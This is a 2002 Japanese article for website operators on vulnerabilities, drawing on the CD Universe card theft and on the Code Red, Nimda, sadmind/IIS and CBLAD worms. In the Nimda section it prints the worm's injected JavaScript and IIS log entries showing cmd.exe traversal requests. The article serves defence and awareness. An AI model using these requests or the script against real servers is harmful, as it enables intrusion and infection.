事例から学ぶWebサイトの脆弱点とその対応
連載：Webサイト運営者のセキュリティ確保の心得
第1回
Webサイトセキュリティ侵害事件から見た脆弱点
小倉秀敏
インターネットセキュリティシステムズ
テクニカルサポート部
2002/3/30
ブロードバンド化が進み、インターネット上に企業・個人事業ともに自社のサイトを展開している場合が多い。しかし一方で、そのWebサイトを運営する側としてセキュリティに関していま一度認識をしなければならないことがある。それがWebサイトの脆弱点である。
本連載では、過去に起きた事例などを元に、Webサイト運営者として気を付けなければならない脆弱点を指摘する。それによりセキュリティの必要性を再確認していただき、セキュリティを確保することの手助けとなれば幸いだ。
|
Webサイトのセキュリティ侵害に関連した事件 |
2002年になり、Web改ざんをはじめとする各種セキュリティ侵害事件は残念ではあるが、珍しいものではなくなってしまった。OSやアプリケーションのセキュリティ上の問題も依然として毎日のように報告されており、状況はまったく変わっていない。変わっていないどころか、悪化しているようにも見える。
ここではまず過去に発生したWebサイトのセキュリティ侵害事件について取り上げ、続いて2001年後半からWebサイトの脅威となっているワームについて説明してみたいと思う。
| “クレジットカード情報盗難事件”から見る脆弱点 |
CD Universeを舞台に発生したセキュリティ侵害事件は、BtoCのWebサイトにおいて発生し、Webサイトにとって最も貴重な情報自体が狙われ、盗まれてしまったシンボル的事件といえるだろう。CD Universeは米国のオンラインCDショップであり、その営業品目が音楽CDという、コンピュータに詳しい人間だけではなく一般消費者を多く集めやすいWebサイトである。
CD Universeを襲撃したのはMaxusと名乗る旧ソ連圏在住と思われるハッカー。通常セキュリティ上の事件の場合、セキュリティ侵害、Web改ざん、情報漏えいなどのような言葉が用いられることが多いが、この事件の場合、一般的な犯罪に使用される言葉の方がぴったりである。
●事件の流れ
Maxusは30万人分のクレジットカード情報を盗み、まず少なくとも2万5000人分のカード番号をMaxus Credit Card Datapipeサイトへ掲載した。しかしこのサイト自体は、その日のうちに米国連邦捜査局（FBI）によって閉鎖された。
Maxusはさらにクレジットカード情報を人質にし、10万ドルを支払うよう恐喝した。これをCD Universe側が拒否したため、Maxusはさらに10万人分のクレジットカード情報をWebサイト上で公開し始めた。
●技術的な視点から見てみると
MaxusはCD Universeが使用していたアプリケーション上のセキュリティ問題を利用した。そこには通常われわれが目にすることのないアプリケーション上のセキュリティ問題が関係していたといわれており、CD
Universeのシステム構成は、クレジットカードのトランザクション処理を行うCyberCashのICVerifyと、SQL Serverを使用していたとされている。
Maxusは実際の侵入手口を公開こそしていないが、“SETファイルに重要な情報をプレーンテキストとしてCyberCashが残している”ことと、“マイクロソフト製品のセキュリティ上の脆弱点”により容易にMDBファイルを参照できたと主張している。
しかしCD Universe自身は、後日ICVerifyは使用していないとプレスリリースでは発表した。いくつかの情報の矛盾は解決されていないが、多くのセキュリティの専門家はICVerifyとSQL Serverの脆弱点を利用したのではないかと考えている。
当時ICVerify自体にはいくつかのセキュリティ上の脆弱点が存在することが知られていた。その最も大きなものが、トランザクションログだ。
ICVerifyはトランザクション単位に、クレジットカード情報などすべての情報を含んだログを保存する。そのログはプレーンテキスト形式でアーカイブされ、最高9年分のログを保存することが可能だという。しかもそれほど大きなログにはならないという。
しかしこのような“プレーンテキスト形式のログがセキュリティ上の脆弱点となり得る”ことはよく知られている。ログを保存しているホストに何らかの形で侵入できれば、重要な情報（CD Universeの場合販売のトランザクション情報であった）を容易に盗み出すことができてしまう。SecurityFocusでは、CD Universe自身、このアーカイブログファイルの存在自体にも気が付いていなかったのではないかというコメントを出している。
またSQL Serverも多くの実装ではDBA（Database Administrator）権限を持つsaアカウントのパスワードがデフォルトの“なし”のまま利用されている。簡単な知識さえあれば、DBA権限で接続し、SQL Serverから情報を容易に盗み出すことができる。現実に2000年9月にLegoland.co.ukでは、パスワードなしのsaアカウントを持つSQL Serverを踏み台にした、Web改ざん事件が発生している。
| ワームを使用したWeb改ざん事件から見る攻撃 |
2001年後半より、脆弱なWebサーバを探し出すためにワームが使用されるようになった。それらのワームは、Webページの自動的な改ざんまで可能だ。2001年に流布したワームといえば、sadmind/IIS、Code
RedそしてNimdaの3つをまず挙げることができるだろう。
以前は、いくらスクリプトやツールにより簡単にWebサーバを攻撃できるといっても、しょせん手動での攻撃だった。しかしこれらのワームは、無差別に自動的に攻撃するところが、それまでのWeb改ざん事件とは大きく異なっている。
そして従来とは最も大きく異なり、インターネットコミュニティに対する脅威となった点が、本当に“対象が無差別”になったことである。いままではたとえセキュリティ対策を怠っていたとしても、「うちの組織は目立たないから大丈夫」などとうそぶくことができた。しかしこれらのワームが、全世界すべてのWebサーバやホストが攻撃対象であることを宣言してしまったのである。
| 注意 ワームそれ自体は決して目新しいものではなく歴史的には1988年に最初に発見されている。このときのワームは、感染先ホストのCPUパワーを消費し尽くしダウンさせてしまっている。 |
●sadmind/IISワームによる攻撃
2001年5月にCERT（コンピュータ緊急対応センター）から勧告が出されたこのワームは、
- Solarisに存在するsadmindの脆弱点をバッファオーバーフロー攻撃して侵入する。
- IISを攻撃するソフトウェアをインストールする。
- IIS上のWebページを改ざんする。
の手法で攻撃を行う。このワームの特徴としては、SolarisをIIS攻撃の踏み台として利用することであり、広範囲な攻撃を可能としている。
sadmind/IISの攻撃対象になったSolarisはroot権限を奪取される、IISは任意のプログラムを実行されるという脆弱点がそれぞれに存在するため、新たな攻撃を受ける危険性が高い。
●Code Redワームによる攻撃
2001年7月にCERT勧告が発行されたこのワームは、sadmind/IISとは異なり、IISからIISに広がるワームであり、さらにホワイトハウスのサイトに対するDoS攻撃機能まで組み込まれたものとして有名になった。その感染過程は、
- ランダムなIPのHTTPポートに対して接続を試みる。
- 対象がマイクロソフトのIISだと仮定したうえで、Index Serverに対するバッファオーバーフロー攻撃を可能とするHTTP GET要求を送信する。
- 脆弱なホスト、つまりIISとIndex Serverを動作させているホストに対して自分自身を送り込む。
- 次の攻撃対象の検索を開始する。
というものである。Code Redは最初の活動期において大量のHTTP GET要求をばらまくが、そのトラフィックによりCiscoのDSLルータがダウンするという、別の問題点も明らかになった。
攻撃されたWebサイトは、その条件により（当初英語版のみ）、
HELLO! Welcome to http://www.worm.com! Hacked By Chinese!
と改ざんされることがある。
そして一定期間経過後、Flood Mode（パケット洪水サービス妨害攻撃）に移行し、ホワイトハウスのサイトに対してDoS攻撃を開始する。いわば自動起動型のDDoSゾンビと化すわけである（DDoS攻撃用クライアントをエージェントもしくはゾンビと呼ぶ）。
このIPアドレスはCode Red中にハードコーディングされていたため、ホワイトハウス側でIPアドレスを変更することで、被害を未然に防ぐことができている。CERTの報告では、休眠期間がありその後また感染とDoS攻撃を再開すると報告している。
Code Redに攻撃されたWebサーバのログには、下記のようなHTTP GET要求が記録される。
|
●Nimdaワームによる攻撃
2001年9月からCERTより勧告が出されたワームで、その被害の大きさは記憶に新しいところだと思う。それまでのワームと決定的に異なる点は、現在取り得るさまざまな脆弱点を駆使して感染することである。その感染形態は下記のようにいくつか存在する。
- 電子メールによるクライアントからクライアントへの感染。
- LAN上の共有フォルダを介してクライアントからクライアントへの感染。
- クライアントからIISに対して、IISが持つ各種脆弱点に対する攻撃を行い、脆弱なIISに自分自身をコピーし、Webページに感染スクリプトを埋め込み感染。
- Nimdaに感染したWebページを参照することでクライアントに感染。
- IISに対してsadmind/IISおよびCode Red 2が残したバックドアをスキャンして感染。
電子メールによる感染は、それまでのウイルスがOutlookもしくはOutlook Expressを悪用した感染方法とまったく同じである。しかしそれ以外の方法は、Nimda自身が脆弱点やバックドアをスキャンし、感染を広げていくものである。特にWebページに感染スクリプトを埋め込む点はユニークなものだ。埋め込まれるスクリプトは下記のようなものである。
| <script
language="JavaScript"> window.open("readme.eml", null, "resizable=no,top=6000,left=6000") </script> |
window.openメソッドでオープンしているreadme.emlが、Nimda自身である。readme.emlをオープンしてしまうとNimdaに感染してしまう。
Nimdaに感染したPCは脆弱なIISを探すため、大量のHTTP GET要求を生成し始める。そのためネットワークによってはバンド幅がNimdaによって消費尽くされてしまい、ほかのサービスが実行不可能なDoS状態に陥ってしまうことがある。
攻撃されたIISのアクセスログには下記のようなHTTP GET要求が記録される。
| GET /scripts/root.exe?/c+dir GET /MSADC/root.exe?/c+dir GET /c/winnt/system32/cmd.exe?/c+dir GET /d/winnt/system32/cmd.exe?/c+dir GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir GET /msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\x1c../winnt/system32/cmd.exe?/c+dir GET /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir GET /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir GET /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir |
5行目以下がIISの脆弱点に対する攻撃用HTTP GET要求、4行目まではバックドアに対するアクセスである。これらの結果エラーが発生しなければ脆弱点が存在するものとしてその後の攻撃を継続する。
●ウイルスとワームの違い
ウイルスが感染に使用する手法は、あくまで“受動的”なものであり、メールを不用意に開くなど何らかの人間の操作が必要となる。しかしワームは“能動的”に他者に対して攻撃を仕掛け、自分自身を感染させていく。Nimdaはウイルス的な感染ルートとワーム的な感染ルートの両方を持ったもので、その意味でワームとウイルスの垣根を取り払ってしまったものであった。
| ワームによるSQL Serverへの攻撃 |
ワームの攻撃対象はWebサーバにとどまらず、SQL Serverにまでその対象を広げている。マイクロソフトは2001年11月にCBLAD
ワームに対する警告を発した。CBLAD はランダムなIPに対して、SQL Serverのデフォルトポートである1433に対してユーザー名：sa、パスワード：なしでログインを試みるのだ。ログインに成功すると特定のFTPサーバからトロイの木馬をダウンロードすると同時に、あるIRC（インターネット
リレー チャット ）サーバへ侵入成功を通知する。
インターネット上に直接SQL Serverサービスをオープンしているケースは非常にまれであると想像されるが、まったくないとは断言できない。筆者の知る限り、該当するFTPサーバとIRCサーバが迅速に閉鎖されたこともあり、実害はほとんど出ていないようである。
●法的責任を問われることにもなりかねない
CD Universe自体は現在もオンラインサイトをオープンし、営業を続けている。しかしこのクレジットカード情報盗難事件に関して、サイトの利用者に対する情報提供を怠ったため、利用者に不信感を植え付けてしまった。
Web改ざん事件の場合、一般的な意識としては、“顔に泥を塗られた”もしくは“野良犬にかまれた”程度の印象にとどまるのではないだろうか。しかしCD Universeのように、顧客の大切なクレジットカード情報が盗難されたうえに、その事実をきちんと告知しなかった場合、信用の失墜という事態が起こることは目に見えている。
事実「もうCD Universeでは買い物はしない」といっている顧客もいた。今回のケースでは幸運にもCD Universeが閉鎖するまでには至らなかったが、顧客から訴訟を起こされる危険性もあった。では盗まれた情報に、クレジットカード情報だけではなく、個人の疾病履歴など多くの情報が含まれていた場合はどうなってしまっただろうか。米国の場合、情報の保護義務に関する法律が存在し、保護義務の対象となる情報が漏えいした場合、義務を怠ったとしてその企業が法的責任を問われることになる。おそらく集団訴訟を起こされ、企業の存続が成り立たなくなってしまう危険性がさらに高くなる。
| Webサイトにおけるリスクの存在 |
ではWebサイトを運営するに当たり、セキュリティ上の問題をどのようにとらえるべきなのか、ここで考えてみよう。最悪のリスクといえば、先ほど挙げた保護責任があるような重要な情報を預かり、それが盗まれたことによって発生する訴訟や法的責任の追及などにより、企業の存続が脅かされることである。つまり預かっている情報は何としてでも保護しなければならない。
盗まれないようにするか、あるいは万が一盗まれたとしても暗号化などにより再利用を不可能にしなければならない。つまりWebサイトの究極のセキュリティポリシーは、“預かっている情報は死守する”である。これが守られない場合、企業の存続を脅かす危険性が発生することになる。
●Webサイトが攻撃される構造的な問題
BtoC、およびBtoBなどにおいては、
- Webサーバ
- アプリケーションサーバ
- データベースサーバ
の大きく分けて3つのサーバ機能を使用する、n層クライアントサーバの構成を取ることが非常に多い。
これらの各要素に存在するセキュリティ上の脆弱点により、過去ネットワークの奥深くにあり、外部からは手が出せないと思われていたデータベースに対してまで侵入が可能になってしまっている。なぜ可能なのか？ それはシステム自体に、Webサーバ、アプリケーションサーバ、データベースサーバの順番で到達する正規のパスが必ず存在し、そのパスはファイアウォールでもブロックされていないからだ。
そして、攻撃者は下記のようなステップで、データベースサーバに到達する。
- インターネットからアクセス可能なWebサーバに攻撃を仕掛ける。
- Webサーバからアプリケーションサーバもしくはデータベースサーバへの接続パスを取る。
- 最後にはデータベースサーバに到達する。
しかもこれらの攻撃はファイアウォールをスルーするHTTPなどを利用して行うことも可能であるため、何もしなければ防御する手立てがない。
もしそれぞれのサーバが脆弱であれば、攻撃されっぱなしの状態になってしまう。いずれのサーバも人間が開発した単なるソフトウェアである。残念なことにそれぞれにセキュリティ上の脆弱点が必ず存在するといっても過言ではない（少なくとも現状は）。
アプリケーションサーバの場合、サーバ自体というよりもそこで実行されるWebアプリケーションそのものにおいて、構成方法や使用する技術において、脆弱点自体が変わってしまう。いい換えれば、わざわざ脆弱なアプリケーションを作ることも可能なのである。
データベースには、本来“死守すべき預かり情報”が存在しているため、データベースへの侵入が発生しないようにシステムを構築する必要がある。そうしなければ“預かり情報は死守する”ことができない。
◇
では次回は、“預かり情報を死守する”ために、各サーバやWebアプリケーションに存在する脆弱点を取り上げ、それらを踏まえたうえでの必要なシステム構築の考え方や、その手法について説明する。
 |
「連載 Webサイト運営者のセキュリティ確保の心得 」 |
|
||||||||||||||
|
||||||||||||||
- Windows起動前後にデバイスを守る工夫、ルートキットを防ぐ （2017/7/24）
Windows 10が備える多彩なセキュリティ対策機能を丸ごと理解するには、5つのスタックに分けて順に押さえていくことが早道だ。連載第1回は、Windows起動前の「デバイスの保護」とHyper-Vを用いたセキュリティ構成について紹介する。 - WannaCryがホンダやマクドにも。中学3年生が作ったランサムウェアの正体も話題に （2017/7/11）
2017年6月のセキュリティクラスタでは、「WannaCry」の残り火にやられたホンダや亜種に感染したマクドナルドに注目が集まった他、ランサムウェアを作成して配布した中学3年生、ランサムウェアに降伏してしまった韓国のホスティング企業など、5月に引き続きランサムウェアの話題が席巻していました。 - Recruit-CSIRTがマルウェアの「培養」用に内製した動的解析環境、その目的と工夫とは （2017/7/10）
代表的なマルウェア解析方法を紹介し、自社のみに影響があるマルウェアを「培養」するために構築した動的解析環境について解説する - 侵入されることを前提に考える――内部対策はログ管理から （2017/7/5）
人員リソースや予算の限られた中堅・中小企業にとって、大企業で導入されがちな、過剰に高機能で管理負荷の高いセキュリティ対策を施すのは現実的ではない。本連載では、中堅・中小企業が目指すべきセキュリティ対策の“現実解“を、特に標的型攻撃（APT：Advanced Persistent Threat）対策の観点から考える。
 |
|
|
|
|
